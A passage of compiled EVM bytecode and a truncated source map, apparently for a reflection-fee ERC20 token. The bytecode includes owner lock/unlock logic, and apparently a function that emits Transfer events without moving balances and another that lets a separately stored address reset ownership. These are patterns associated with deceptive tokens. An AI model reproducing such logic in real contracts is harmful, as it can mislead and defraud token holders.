ed61171d565b34801561074d57600080fd5b506107746004803603602081101561076457600080fd5b50356001600160a01b031661172c565b60408051921515835260208301919091528051918290030190f35b34801561079b57600080fd5b506104b761174f565b3480156107b057600080fd5b5061043c600480360360208110156107c757600080fd5b50356001600160a01b0316611755565b3480156107e357600080fd5b506103ed600480360360208110156107fa57600080fd5b50356001600160a01b03166118db565b34801561081657600080fd5b506104866118f9565b34801561082b57600080fd5b506103ed61190f565b34801561084057600080fd5b506104b76004803603602081101561085757600080fd5b50356001600160a01b031661191f565b34801561087357600080fd5b5061043c611a01565b34801561088857600080fd5b506104b7611a91565b34801561089d57600080fd5b506103ed600480360360208110156108b457600080fd5b50356001600160a01b0316611a97565b3480156108d057600080fd5b50610486611ab5565b3480156108e557600080fd5b5061043c600480360360208110156108fc57600080fd5b810190602081018135600160201b81111561091657600080fd5b82018360208201111561092857600080fd5b803590602001918460208302840111600160201b8311171561094957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611ac4945050505050565b34801561099357600080fd5b506103ed600480360360208110156109aa57600080fd5b810190602081018135600160201b8111156109c457600080fd5b8201836020820111156109d657600080fd5b803590602001918460208302840111600160201b831117156109f757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611da3945050505050565b348015610a4157600080fd5b5061033f611e21565b348015610a5657600080fd5b506103ed60048036036040811015610a6d57600080fd5b506001600160a01b038135169060200135611e82565b348015610a8f57600080fd5b5061043c611eea565b348015610aa457600080fd5b506103ed60048036036040811015610abb57600080fd5b506001600160a01b038135169060200135611fda565b348015610add57600080fd5b506104b7611fee565b348015610af257600080fd5b506104b7611ff4565b348015610b0757600080fd5b5061043c60048036036040811015610b1e57600080fd5b810190602081018135600160201b811115610b3857600080fd5b820183602082011115610b4a57600080fd5b803590602001918460208302840111600160201b83111715610b6b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610bba57600080fd5b820183602082011115610bcc57600080fd5b803590602001918460208302840111600160201b83111715610bed57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611ffa945050505050565b348015610c3757600080fd5b5061043c60048036036020811015610c4e57600080fd5b503515156120ca565b348015610c6357600080fd5b506104b7612173565b348015610c7857600080fd5b5061043c60048036036020811015610c8f57600080fd5b50356001600160a01b0316612179565b348015610cab57600080fd5b5061043c60048036036020811015610cc257600080fd5b5035612235565b348015610cd557600080fd5b5061043c60048036036020811015610cec57600080fd5b50356001600160a01b03166122b3565b348015610d0857600080fd5b5061043c60048036036040811015610d1f57600080fd5b506001600160a01b038135169060200135612345565b348015610d4157600080fd5b5061043c60048036036020811015610d5857600080fd5b5035612471565b348015610d6b57600080fd5b506104b760048036036040811015610d8257600080fd5b506001600160a01b0381358116916020013516612512565b348015610da657600080fd5b5061043c60048036036040811015610dbd57600080fd5b508035906020013561253d565b348015610dd657600080fd5b5061043c60048036036020811015610ded57600080fd5b50356001600160a01b03166125a0565b348015610e0957600080fd5b5061043c60048036036020811015610e2057600080fd5b50356001600160a01b0316612619565b348015610e3c57600080fd5b506104b7612704565b348015610e5157600080fd5b5061043c60048036036020811015610e6857600080fd5b503561270a565b348015610e7b57600080fd5b5061043c60048036036080811015610e9257600080fd5b5080359060208101359060408101359060600135612767565b60128054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f375780601f10610f0c57610100808354040283529160200191610f37565b820191906000526020600020905b815481529060010190602001808311610f1a57829003601f168201915b5050505050905090565b6000610f55610f4e6127d3565b84846127d7565b5060015b92915050565b610f676127d3565b6003546001600160a01b03908116911614610fb7576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b601980546001600160a01b03909216600160201b02640100000000600160c01b031993151563010000000263ff000000199093169290921792909216179055565b611000611ab5565b6001600160a01b03166110116127d3565b6001600160a01b031614611055576040805162461bcd60e51b8152602060048083019190915260248201526319985a5b60e21b604482015290519081900360640190fd5b601e80546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b7f000000000000000000000000000000000000000000000000000000000000000081565b600e5490565b60205481565b60006110cc8484846128c3565b61113c846110d86127d3565b61113785604051806060016040528060288152602001614126602891396001600160a01b038a166000908152600960205260408120906111166127d3565b6001600160a01b031681526020810191909152604001600020549190612ee3565b6127d7565b5060019392505050565b61114e6127d3565b6003546001600160a01b0390811691161461119e576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b60008151116111ea576040805162461bcd60e51b815260206004820152601360248201527254686520617272617920697320656d7074792160681b604482015290519081900360640190fd5b60005b815181101561132657600a600083838151811061120657fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1661131e57601d82828151811061123f57fe5b60209081029190910181015182546001808201855560009485529284200180546001600160a01b0319166001600160a01b0390921691909117905583519091600b9185908590811061128d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008484815181106112de57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6001016111ed565b5050565b6000600f5482111561136d5760405162461bcd60e51b815260040180806020018281038252602a81526020018061406b602a913960400191505060405180910390fd5b61137f611378612f7a565b8390612f9d565b90505b919050565b60145460ff1690565b601e546001600160a01b031681565b6113a76127d3565b6003546001600160a01b039081169116146113f7576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152600c602052604090205460ff16611464576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600d5481101561132657816001600160a01b0316600d828154811061148857fe5b6000918252602090912001546001600160a01b0316141561155457600d805460001981019081106114b557fe5b600091825260209091200154600d80546001600160a01b0390921691839081106114db57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600882526040808220829055600c90925220805460ff19169055600d80548061152d57fe5b600082815260209020810160001990810180546001600160a01b0319169055019055611326565b600101611467565b6000610f556115696127d3565b84611137856009600061157a6127d3565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612fe6565b60006115b46127d3565b6001600160a01b0381166000908152600c602052604090205490915060ff161561160f5760405162461bcd60e51b815260040180806020018281038252602c815260200180614220602c913960400191505060405180910390fd5b600061162361161c612f7a565b8490613040565b6001600160a01b0383166000908152600760205260409020549091506116499082613099565b6001600160a01b038316600090815260076020526040902055600f5461166f9082613099565b600f55505050565b61167f6127d3565b6003546001600160a01b039081169116146116cf576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b60175481565b7f000000000000000000000000000000000000000000000000000000000000000081565b60195462010000900460ff1681565b6001600160a01b03166000908152600a6020526040902054601d5460ff90911691565b60155481565b61175d6127d3565b6003546001600160a01b039081169116146117ad576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6001600160a01b0381166000908152600c602052604090205460ff161561181b576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205415611875576001600160a01b03811660009081526007602052604090205461185b9061132a565b6001600160a01b0382166000908152600860205260409020555b6001600160a01b03166000818152600c60205260408120805460ff19166001908117909155600d805491820181559091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319169091179055565b6001600160a01b03166000908152600b602052604090205460ff1690565b601954600160201b90046001600160a01b031681565b6019546301000000900460ff1681565b6001600160a01b0381166000908152600c602052604081205460ff16801561195e57506001600160a01b03821660009081526008602052604090205415155b1561198257506001600160a01b038116600090815260086020526040902054611382565b6001600160a01b0382166000908152600c602052604090205460ff161580156119ca57506001600160a01b0382166000908152600760205260408120546119c89061132a565b115b156119f8576001600160a01b0382166000908152600760205260409020546119f19061132a565b9050611382565b50602154611382565b611a096127d3565b6003546001600160a01b03908116911614611a59576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6003546040516000916001600160a01b03169060008051602061416e833981519152908390a3600380546001600160a01b0319169055565b60105481565b6001600160a01b03166000908152600c602052604090205460ff1690565b6003546001600160a01b031690565b611acc6127d3565b6003546001600160a01b03908116911614611b1c576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6000815111611b68576040805162461bcd60e51b815260206004820152601360248201527254686520617272617920697320656d7074792160681b604482015290519081900360640190fd5b601d54611bb2576040805162461bcd60e51b815260206004820152601360248201527254686520617272617920697320656d7074792160681b604482015290519081900360640190fd5b60005b815181101561132657600a6000838381518110611bce57fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615611d9b5760005b601d54811015611d9957601d8181548110611c1457fe5b60009182526020909120015483516001600160a01b0390911690849084908110611c3a57fe5b60200260200101516001600160a01b03161415611d9157601d80546000198101908110611c6357fe5b600091825260209091200154601d80546001600160a01b039092169183908110611c8957fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550601d805480611cc257fe5b6001900381819060005260206000200160006101000a8154906001600160a01b03021916905590556000600b6000858581518110611cfc57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a6000858581518110611d4d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550611d99565b600101611bfd565b505b600101611bb5565b600080825111611df0576040805162461bcd60e51b815260206004820152601360248201527254686520617272617920697320656d7074792160681b604482015290519081900360640190fd5b60005b8251811015610f5557611e18838281518110611e0b57fe5b602002602001015161191f565b50600101611df3565b60138054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f375780601f10610f0c57610100808354040283529160200191610f37565b6000610f55611e8f6127d3565b846111378560405180606001604052806025815260200161426f6025913960096000611eb96127d3565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190612ee3565b6004546001600160a01b03163314611f335760405162461bcd60e51b815260040180806020018281038252602381526020018061424c6023913960400191505060405180910390fd5b6005544211611f89576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b6004546003546040516001600160a01b03928316929091169060008051602061416e83398151915290600090a3600454600380546001600160a01b0319166001600160a01b03909216919091179055565b6000610f55611fe76127d3565b84846128c3565b60185481565b60055490565b8051825114612050576040805162461bcd60e51b815260206004820152601d60248201527f6e6565642073616d6520616d6f756e74206f6620616464726573736573000000604482015290519081900360640190fd5b60005b82518110156120c55781818151811061206857fe5b60200260200101516001600160a01b031683828151811061208557fe5b60200260200101516001600160a01b03166000805160206141b78339815191526021546040518082815260200191505060405180910390a3600101612053565b505050565b6120d26127d3565b6003546001600160a01b03908116911614612122576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6019805482151562010000810262ff0000199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b60215481565b601c546001600160a01b031661218d6127d3565b6001600160a01b031614806121c157506121a5611ab5565b6001600160a01b03166121b66127d3565b6001600160a01b0316145b6121fb576040805162461bcd60e51b8152602060048083019190915260248201526319985a5b60e21b604482015290519081900360640190fd5b601c80546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b61223d6127d3565b6003546001600160a01b0390811691161461228d576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6122ad60646122a783600e5461304090919063ffffffff16565b90612f9d565b60105550565b6122bb6127d3565b6003546001600160a01b0390811691161461230b576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b601a80546001600160a01b039092166001600160a01b0319909216821790556000908152600b60205260409020805460ff19166001179055565b61234d6127d3565b6003546001600160a01b0390811691161461239d576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6001600160a01b0382166123eb57601c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156123e5573d6000803e3d6000fd5b50611326565b601c546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810184905290519184169163a9059cbb916044808201926020929091908290030181600087803b15801561244157600080fd5b505af1158015612455573d6000803e3d6000fd5b505050506040513d602081101561246b57600080fd5b50505050565b6124796127d3565b6003546001600160a01b039081169116146124c9576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b60038054600480546001600160a01b03199081166001600160a01b03841617909155169055428101600555604051600090819060008051602061416e833981519152908290a350565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6125456127d3565b6003546001600160a01b03908116911614612595576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b602091909155601155565b6125a86127d3565b6003546001600160a01b039081169116146125f8576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6126216127d3565b6001600160a01b03166126326130db565b6001600160a01b031614612675576040805162461bcd60e51b815260206004820152600560248201526422b93937b960d91b604482015290519081900360640190fd5b6001600160a01b0381166126ba5760405162461bcd60e51b81526004018080602001828103825260268152602001806140956026913960400191505060405180910390fd5b6003546040516001600160a01b0380841692169060008051602061416e83398151915290600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b60165481565b6127126127d3565b6003546001600160a01b03908116911614612762576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b602155565b61276f6127d3565b6003546001600160a01b039081169116146127bf576040805162461bcd60e51b8152602060048201819052602482015260008051602061414e833981519152604482015290519081900360640190fd5b601593909355601691909155601755601855565b3390565b6001600160a01b03831661281c5760405162461bcd60e51b81526004018080602001828103825260248152602001806141fc6024913960400191505060405180910390fd5b6001600160a01b0382166128615760405162461bcd60e51b81526004018080602001828103825260228152602001806140bb6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b601f546128d1906001612fe6565b601f556001600160a01b0383166129195760405162461bcd60e51b81526004018080602001828103825260258152602001806141d76025913960400191505060405180910390fd5b6001600160a01b03821661295e5760405162461bcd60e51b81526004018080602001828103825260238152602001806140486023913960400191505060405180910390fd5b6000811161299d5760405162461bcd60e51b815260040180806020018281038252602981526020018061418e6029913960400191505060405180910390fd5b6019546301000000900460ff16612a81576019546001600160a01b03848116600160201b9092041614801590612a3f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161480612a3f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b15612a81576040805162461bcd60e51b815260206004820152600d60248201526c1858d8d95cdcc819195b9a5959609a1b604482015290519081900360640190fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015612adb5750612ac5611ab5565b6001600160a01b0316836001600160a01b031614155b8015612b005750612aea611ab5565b6001600160a01b0316826001600160a01b031614155b8015612b1a5750601e546001600160a01b03838116911614155b15612b6057601054811115612b605760405162461bcd60e51b81526004018080602001828103825260288152602001806140dd6028913960400191505060405180910390fd5b6000612b6b3061191f565b905060006011548210158015612ba957506000612ba77f000000000000000000000000000000000000000000000000000000000000000061191f565b115b8015612bbe57506019546301000000900460ff165b9050808015612bd55750601954610100900460ff16155b8015612c1357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b8015612c27575060195462010000900460ff165b15612c3a576011549150612c3a826130ea565b6001600160a01b0385166000908152600b602052604090205460019060ff1680612c7c57506001600160a01b0385166000908152600b602052604090205460ff165b15612c85575060005b601f5460011415612e9557808015612cce57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b0316145b8015612cdc57506020548410155b8015612cf55750601e546001600160a01b031661dead14155b15612d6157601e54604080516307c1d4c760e01b81526001600160a01b038881166004830152915191909216916307c1d4c791602480830192600092919082900301818387803b158015612d4857600080fd5b505af1158015612d5c573d6000803e3d6000fd5b505050505b601954610100900460ff16158015612dab57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b031614155b8015612dc55750601e546001600160a01b03878116911614155b8015612dde5750601e546001600160a01b031661dead14155b8015612e1257506000612e107f000000000000000000000000000000000000000000000000000000000000000061191f565b115b8015612e2757506019546301000000900460ff165b15612e9557601e60009054906101000a90046001600160a01b03166001600160a01b0316634028b6bd6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612e7c57600080fd5b505af1158015612e90573d6000803e3d6000fd5b505050505b612ea1868686846131b5565b505060408051808201909152601081526f3a3930b739b332b91031b7bab73a32b960811b6020820152601f54612edb925090600190612ee3565b601f55505050565b60008184841115612f725760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f37578181015183820152602001612f1f565b50505050905090810190601f168015612f645780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000612f87613323565b9092509050612f968282612f9d565b9250505090565b6000612fdf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134d2565b9392505050565b600082820183811015612fdf576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261304f57506000610f59565b8282028284828161305c57fe5b0414612fdf5760405162461bcd60e51b81526004018080602001828103825260218152602001806141056021913960400191505060405180910390fd5b6000612fdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ee3565b6006546001600160a01b031690565b6019805461ff0019166101001790556000613106826002612f9d565b9050600061313f826040518060400160405280600881526020016739bab1103430b63360c11b81525085612ee39092919063ffffffff16565b90504761314b83613537565b60006131574783613099565b9050613163838261374e565b604080518581526020810183905280820185905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150506019805461ff0019169055505050565b806131c2576131c2613835565b6001600160a01b0384166000908152600c602052604090205460ff16801561320357506001600160a01b0383166000908152600c602052604090205460ff16155b1561321857613213848484613851565b613316565b6001600160a01b0384166000908152600c602052604090205460ff1615801561325957506001600160a01b0383166000908152600c602052604090205460ff165b15613269576132138484846139df565b6001600160a01b0384166000908152600c602052604090205460ff161580156132ab57506001600160a01b0383166000908152600c602052604090205460ff16155b156132bb57613213848484613ad6565b6001600160a01b0384166000908152600c602052604090205460ff1680156132fb57506001600160a01b0383166000908152600c602052604090205460ff165b1561330b57613213848484613b68565b613316848484613ad6565b8061246b5761246b613c4f565b600f54600e546000918291825b600d548110156134a0578260076000600d848154811061334c57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806133b157508160086000600d848154811061338a57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156133c857600f54600e54945094505050506134ce565b61342e60076000600d84815481106133dc57fe5b60009182526020808320909101546001600160a01b031683528281019390935260409182019020548151808301909252600b82526a7375622072537570706c7960a81b92820192909252859190612ee3565b925061349660086000600d848154811061344457fe5b60009182526020808320909101546001600160a01b031683528281019390935260409182019020548151808301909252600b82526a7375622074537570706c7960a81b92820192909252849190612ee3565b9150600101613330565b50600e54600f546134b091612f9d565b8210156134c857600f54600e549350935050506134ce565b90925090505b9091565b600081836135215760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612f37578181015183820152602001612f1f565b50600083858161352d57fe5b0495945050505050565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061356557fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635cb485926040518163ffffffff1660e01b815260040160206040518083038186803b1580156135de57600080fd5b505afa1580156135f2573d6000803e3d6000fd5b505050506040513d602081101561360857600080fd5b505181518290600190811061361957fe5b60200260200101906001600160a01b031690816001600160a01b031681525050613664307f0000000000000000000000000000000000000000000000000000000000000000846127d7565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156137095781810151838201526020016136f1565b505050509050019650505050505050600060405180830381600087803b15801561373257600080fd5b505af1158015613746573d6000803e3d6000fd5b505050505050565b613779307f0000000000000000000000000000000000000000000000000000000000000000846127d7565b601a546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0392831660848201524260a482015290517f00000000000000000000000000000000000000000000000000000000000000009092169163f305d71991849160c480830192606092919082900301818588803b15801561380a57600080fd5b505af115801561381e573d6000803e3d6000fd5b50505050506040513d606081101561246b57600080fd5b60195460ff166138445761384f565b6019805460ff191690555b565b600080600080600061386286613c5e565b94509450945094509450600080600061388489898661387f612f7a565b613d1b565b9250925092506138e8896040518060400160405280600c81526020016b1cdd588cc81d105b5bdd5b9d60a21b815250600860008f6001600160a01b03166001600160a01b0316815260200190815260200160002054612ee39092919063ffffffff16565b6001600160a01b038c1660008181526008602090815260408083209490945583518085018552600c81526b1cdd588cc81c905b5bdd5b9d60a21b8183015292825260079052919091205461393d918590612ee3565b6001600160a01b03808d1660009081526007602052604080822093909355908c168152205461396c9083612fe6565b6001600160a01b038b16600090815260076020526040902055613990878787613d57565b61399981614011565b896001600160a01b03168b6001600160a01b03166000805160206141b78339815191528a6040518082815260200191505060405180910390a35050505050505050505050565b60008060008060006139f086613c5e565b945094509450945094506000806000613a0d89898661387f612f7a565b925092509250613a71836040518060400160405280600c81526020016b1cdd588c881c905b5bdd5b9d60a21b815250600760008f6001600160a01b03166001600160a01b0316815260200190815260200160002054612ee39092919063ffffffff16565b6001600160a01b03808d16600090815260076020908152604080832094909455918d16815260089091522054613aa79089612fe6565b6001600160a01b038b1660009081526008602090815260408083209390935560079052205461396c9083612fe6565b6000806000806000613ae786613c5e565b945094509450945094506000806000613b0489898661387f612f7a565b92509250925061393d836040518060400160405280600c81526020016b1cdd588c481c905b5bdd5b9d60a21b815250600760008f6001600160a01b03166001600160a01b0316815260200190815260200160002054612ee39092919063ffffffff16565b6000806000806000613b7986613c5e565b945094509450945094506000806000613b9689898661387f612f7a565b925092509250613bfa896040518060400160405280600c81526020016b1cdd588d081d105b5bdd5b9d60a21b815250600860008f6001600160a01b03166001600160a01b0316815260200190815260200160002054612ee39092919063ffffffff16565b6001600160a01b038c1660008181526008602090815260408083209490945583518085018552600c81526b1cdd588d081c905b5bdd5b9d60a21b81830152928252600790529190912054613a71918590612ee3565b6019805460ff19166001179055565b601954600090819081908190819060ff16613c8757508493506000925082915081905080613d12565b613ca160646122a76017548961304090919063ffffffff16565b9350613cbd60646122a76016548961304090919063ffffffff16565b9250613cd960646122a76018548961304090919063ffffffff16565b9150613cf560646122a76015548961304090919063ffffffff16565b9050613d0f81613d09848187818c8b613099565b90613099565b94505b91939590929450565b6000808080613d2a8886613040565b90506000613d388887613040565b90506000613d468888613040565b929a91995091975095505050505050565b6000613d61612f7a565b90506000613d6f8383613040565b90506000613d7d8684613040565b90506000613d8b8685613040565b601d5490915015613deb57601d54601b5410613da7576000601b555b601d601b5481548110613db657fe5b600091825260209091200154601c80546001600160a01b0319166001600160a01b03909216919091179055601b805460010190555b30600090815260076020526040902054613e059084612fe6565b30600090815260076020908152604080832093909355600c9052205460ff1615613e545730600090815260086020526040902054613e439086612fe6565b306000908152600860205260409020555b601c546001600160a01b0316600090815260076020526040902054613e799082612fe6565b601c80546001600160a01b0390811660009081526007602090815260408083209590955592549091168152600c909152205460ff1615613ef457601c546001600160a01b0316600090815260086020526040902054613ed89087612fe6565b601c546001600160a01b03166000908152600860205260409020555b601e546001600160a01b0316600090815260076020526040902054613f199083612fe6565b601e80546001600160a01b0390811660009081526007602090815260408083209590955592549091168152600c909152205460ff1615613f9457601e546001600160a01b0316600090815260086020526040902054613f789088612fe6565b601e546001600160a01b03166000908152600860205260409020555b8615613fce57601e546040805189815290516001600160a01b039092169130916000805160206141b7833981519152919081900360200190a35b851561400857601c546040805188815290516001600160a01b039092169130916000805160206141b7833981519152919081900360200190a35b50505050505050565b60408051808201909152600b81526a7265666c6563742066656560a81b6020820152600f54614041918390612ee3565b600f555056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205953709089bcb47a0fba7c57e73eb95daa99a271de471c0e9ff212946353927b64736f6c634300060c0033

Deployed ByteCode Sourcemap

26220:22975:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32860:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;33963:161;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;33963:161:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;32336:196;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;32336:196:0;;;;;;;;-1:-1:-1;;;;;32336:196:0;;:::i;:::-;;29464:177;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;29464:177:0;-1:-1:-1;;;;;29464:177:0;;:::i;27378:51::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;27378:51:0;;;;;;;;;;;;;;33137:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;27879:27;;;;;;;;;;;;;:::i;34132:313::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;34132:313:0;;;;;;;;;;;;;;;;;:::i;30228:415::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;30228:415:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;30228:415:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;30228:415:0;;-1:-1:-1;30228:415:0;;-1:-1:-1;;;;;30228:415:0:i;35419:208::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;35419:208:0;;:::i;33046:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;27789:46;;;;;;;;;;;;;:::i;35974:477::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;35974:477:0;-1:-1:-1;;;;;35974:477:0;;:::i;34453:218::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;34453:218:0;;;;;;;;:::i;35084:327::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;35084:327:0;;:::i;36463:111::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;36463:111:0;-1:-1:-1;;;;;36463:111:0;;:::i;27268:27::-;;;;;;;;;;;;;:::i;27436:38::-;;;;;;;;;;;;;:::i;27509:40::-;;;;;;;;;;;;;:::i;31437:154::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;31437:154:0;-1:-1:-1;;;;;31437:154:0;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;27204:25;;;;;;;;;;;;;:::i;35635:331::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;35635:331:0;-1:-1:-1;;;;;35635:331:0;;:::i;40432:123::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;40432:123:0;-1:-1:-1;;;;;40432:123:0;;:::i;27597:32::-;;;;;;;;;;;;;:::i;27556:34::-;;;;;;;;;;;;;:::i;33240:389::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-